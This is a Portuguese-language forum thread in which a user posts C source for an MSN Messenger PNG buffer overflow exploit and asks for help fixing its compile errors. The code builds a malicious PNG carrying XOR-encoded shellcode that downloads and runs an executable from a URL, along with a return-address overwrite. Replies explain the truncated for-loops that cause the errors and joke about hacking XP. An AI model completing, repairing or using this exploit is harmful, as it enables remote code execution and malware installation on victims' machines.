exploit msn

\0x28

Membro
Pessoal tou com um problema com um exploit, já corrigi metade do código mas agora não consigo sair desta parte alguem me pode ajudar, tou a usar dev c++ para compilar e os erros estão marcados com ********.obrigado


#include <stdio.h>
#include <conio.h>
#include <math.h>
#include <string.h>


#ifdef __BORLANDC__
#include
#endif

#define NOP 0x90

char png_header[] =
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
"\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
"\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";

char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";

/* Generic win32 http download shellcode
xored with 0x1d by delikon (http://delikon.de/) */
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";

FILE *di;
int i = 0;
short int weblength;
char *web;
char *pointer = NULL;
char *newshellcode;

/*xor cryptor*/
char *Sifrele(char *Name1)
{
char *Name=Name1;
char xor2=0x1d;
int Size=strlen(Name);
//for(i=0;i Name=Name^xor);***********
return Name;
}


int main(int argc, char *argv[])
{

if (argc < 3)
{
printf("MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit\n");
printf("Bug discoveried by Core Security Technologies (www.coresecurity.com)\n");
printf("Exploit coded By ATmaCA\n");
printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
printf("Web: http://www.atmacasoft.com\n");
printf("E-Mail: [email protected]\n");
printf("Credit to kozan and delikon\n\n");
printf("\tUsage:exploit \n");
printf("\tExample:exploit vuln.png http://www.atmacasoft.com/exp/msg.exe\n");

return (0);
}


web = argv[2];


if( (di=fopen(argv[1],"wb")) == NULL )
{
printf("Error opening file!\n");
return(0);
}
//for(i=0;i fputc(png_header,di); *************

/*stuff in a couple of NOPs*/
for(i=0;i<99;i++)
fputc(NOP,di);

weblength=(short int)0xff22;
pointer=strstr(shellcode,"\x22\xff");
weblength-=strlen(web)+1;
memcpy(pointer,&weblength,2);
newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
strcpy(newshellcode,shellcode);
strcat(newshellcode,Sifrele(web));
strcat(newshellcode,"\x1d");

//shell code
//for(i=0;i fputc(newshellcode,di); *************


for(i=0;i<(83-strlen(web));i++) //NOPs
fputc(NOP,di);

/*Overwriting the return address (EIP)*/
/*0x005E0547 - ret */
fputc(0x47,di);
fputc(0x05,di);
fputc(0x5e,di);
fputc(0x00,di);

//for(i=0;i fputc(pngeof,di); *************

printf("Vulnarable png file %s has been generated!\n",argv[1]);

fclose(di);
}
 
Fique bem claro não sou Hacker, tbm não vou estar a discutir isso aqui, só gosto de estudar este tipo de códigos. Pois adoro trabalhar com a memoria(stack, pilha) em C\C++.

Aqui vai o log

Compilador: Default compiler
Executando g++.exe...
g++.exe "C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp" -o "C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.exe" -I"C:\Compiladores\Dev-Cpp\lib\gcc\mingw32\3.4.2\include" -I"C:\Compiladores\Dev-Cpp\include\c++\3.4.2\backward" -I"C:\Compiladores\Dev-Cpp\include\c++\3.4.2\mingw32" -I"C:\Compiladores\Dev-Cpp\include\c++\3.4.2" -I"C:\Compiladores\Dev-Cpp\include" -L"C:\Compiladores\Dev-Cpp\lib"
C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp: In function `char* Sifrele(char*)':
C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:81: error: expected primary-expression before '^' token
C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:81: error: expected primary-expression before ';' token

C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp: In function `int main(int, char**)':
C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:113: error: expected `;' before "fputc"
C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:113: error: expected `)' before ';' token
C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:129: error: expected `;' before "fputc"

C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:129: error: expected `)' before ';' token
C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:142: error: expected `;' before "fputc"
C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:142: error: expected `)' before ';' token

Execução terminada
 
Calma!:002: Calma... é importante estudar as vulnerablidades do software para que se consiga melhorar o código e descobrir outros novos problemas. Pensavam que é para andar aí a roubar fotos às meninas! :lol:
 
repare que os loops não estão acabados //for(i=0;i Name=Name^xor);***********
a variavel "i" ou esta a mais ou não esta bem defenida. e pk não é possivel declarar ^xor, pois da erro.
 
não tens de declarar xor nenhum ...

tanto quanto sei de ciclos "for" são compostos por 3 partes, inicializaçao, condiçao, accao.
na linha so vejo duas.

i=0 ; Name=Name^xor

tens ali um i perdido no meio, por isso falta-te algo ...
 
Ya, pelo que vi até tens mais do que um ciclo for incompleto, tens de por o incremento, acho q é o q te falta.. agr vai lá hackar o xp:lol:
 
sombrio disse:
Ja agora, o que faz esse exploit?

Buffer overrun através de uma imagem png "maliciosa"... :P

Se for para fins "académicos" nem acho mal que se explore este tipo de coisas. Ao desenvolver código é importante evitar buffer overruns. Regra número um: nunca usar o gets() :D
 
Back
Topo